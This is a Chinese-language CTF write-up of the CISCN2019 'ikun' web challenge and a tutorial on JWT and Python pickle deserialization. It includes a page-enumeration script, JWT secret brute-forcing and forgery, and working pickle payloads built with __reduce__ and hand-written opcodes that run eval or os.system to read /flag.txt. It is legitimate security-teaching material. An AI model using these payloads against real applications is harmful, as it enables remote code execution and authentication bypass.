一道CTF題看JWT和python反序列化

題目

題爲[CISCN2019 華北賽區 Day1 Web2]ikun

題解

打開,看到這裏
在這裏插入圖片描述
看來要找到lv6,寫個小腳本:

#[CISCN2019 華北賽區 Day1 Web2]ikun,找lv6
import requests
url = "http://9592eed0-512a-4494-bedb-332fdf504447.node3.buuoj.cn/shop?page="


for i in range(0,2000):
	r=requests.get(url+str(i))
	if 'lv6.png' in r.text:
		print (i)
		break

找到後,發現要求登陸,隨便註冊了一個號,然後登陸,購買,發現錢不夠:
抓包,發現了有趣的東西:
在這裏插入圖片描述
JWT我在之前的文章提到過,用base64解碼看看:
在這裏插入圖片描述
我們可以用JWT-cracker對加密的secret進行爆破。
爆破得到secret爲1Kun。
在這裏插入圖片描述
再去JWT僞造網站進行僞造:
在這裏插入圖片描述
發包:
在這裏插入圖片描述
看到302跳轉:
在這裏插入圖片描述
繼續抓包,修改JWT。
進入後,發現hint:
在這裏插入圖片描述
下載源碼,是py源碼。
在Admin.py處找到一處反序列化:
在這裏插入圖片描述
直接上大佬的反序列化腳本:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

修改如下地方即可得到flag:
在這裏插入圖片描述

知識點

JWT

JWT全名爲json web token,由三段組成,這三段用點號連接,以這次的JWT看:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYSJ9.Xjc37g2j_pU5SFHYwoPSHWJDEmRVPtfHkbFfGPcn4W0

  1. 第一段頭部(header)
    這是一串base64,裏面記載的是加密算法和類型聲明,解碼後如圖:
    一般頭部都是這個樣
  2. 第二段負荷(payload)
    記載的信息一般分爲下面幾種:標準中註冊的聲明、公共的聲明、私有的聲明。上面的解碼如圖:
    在這裏插入圖片描述
  3. 第三段簽證(signature)
    這個部分需要base64加密後的header和base64加密後的payload使用.連接組成的字符串,然後通過header中聲明的加密方式進行加鹽secret組合加密,然後就構成了jwt的第三部分。
    這部分的secret如果偏簡單的話也可以通過工具爆破出來,就比如這一題。

想要更具體的解釋可以看這篇文章

Python 序列化與反序列化

python的序列化和反序列化一般通過pickle模塊進行(也有json、messagepack等多種方式,但CTF常用pickle),序列化和反序列化的方法:

序列化
pickle.dump()或pickle.dumps()
Pickler().dump()
反序列化
pickle.load()或pickle.loads()
Unpickler(file).load()

pickle可以手擼,也可以用__reduce__方法構造

手擼pickle

我先把指令集和手寫的基本模式貼在下面:

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding
​
TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

基本模式:

c<module>
<callable>
(<args>
tR

按照指令集和基本模式就可以直接整出來了。
舉個例子:

cos
system
(S'ls'
tR.

我們按照指令集分解一下:

cos
system

這部分按照指令集中的b'c'來看,表示引入模塊和函數。由於該指令需要兩個字符串(一個爲模塊名,一個爲函數名),所以,接下來的兩個字符串用\n當作分隔符和休止符,意義爲__import__(os).system

(S'ls'

b'('表示將一個特殊標記對象壓入棧中,b'S'表示接下來的內容爲一個字符串,在這裏我們輸入的字符串用\n當作終止符。

tR.

這個最簡單,b't'表示從最頂層堆棧項生成元組,b'R'表示在堆棧上應用可調用的元組b'.'表示結束構造pickle。
也就是說這個指令等同於__import__('os').system(*('ls',))

__reduce__構造

這題的最後,大佬就是用了__reduce__進行構造。這個構造的壞處只有一個:只能執行單一的函數,很難構造複雜的操作,不過這題我們一個足以。
這題我們改造一下它的腳本會得到一個相同的,但在這裏沒有用的腳本:

import pickle,os
import urllib

class payload(object):
    def __reduce__(self):
       return (os.system, ('cat /flag.txt',))

a = pickle.dumps(payload(),protocol=0)
a = urllib.quote(a)#進行URL編碼
print (a)

(沒有用是因爲源文件沒有os模塊)
這裏的protocol=0又涉及到另一個小知識了:pickling 的協議

pickling 的協議

pickling 的協議共有 5 種:

v0 版協議是原始的 “人類可讀” 協議,並且向後兼容早期版本的 Python。
v1 版協議是較早的二進制格式,它也與早期版本的 Python 兼容。
v2 版協議是在 Python 2.3 中引入的。它爲存儲 new-style class 提供了更高效的機制。欲瞭解有關第 2 版協議帶來的改進,請參閱 PEP 307。
v3 版協議添加於 Python 3.0。它具有對 bytes 對象的顯式支持,且無法被 Python 2.x 打開。這是目前默認使用的協議,也是在要求與其他 Python 3 版本兼容時的推薦協議。
v4 版協議添加於 Python 3.4。它支持存儲非常大的對象,能存儲更多種類的對象,還包括一些針對數據格式的優化。有關第 4 版協議帶來改進的信息,請參閱 PEP 3154。

使用的協議越高,需要的python版本就得越新。

參考文章:Python pickle 反序列化實例分析
想更加了解python的魔術方法可以看這個:python魔術方法指南

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章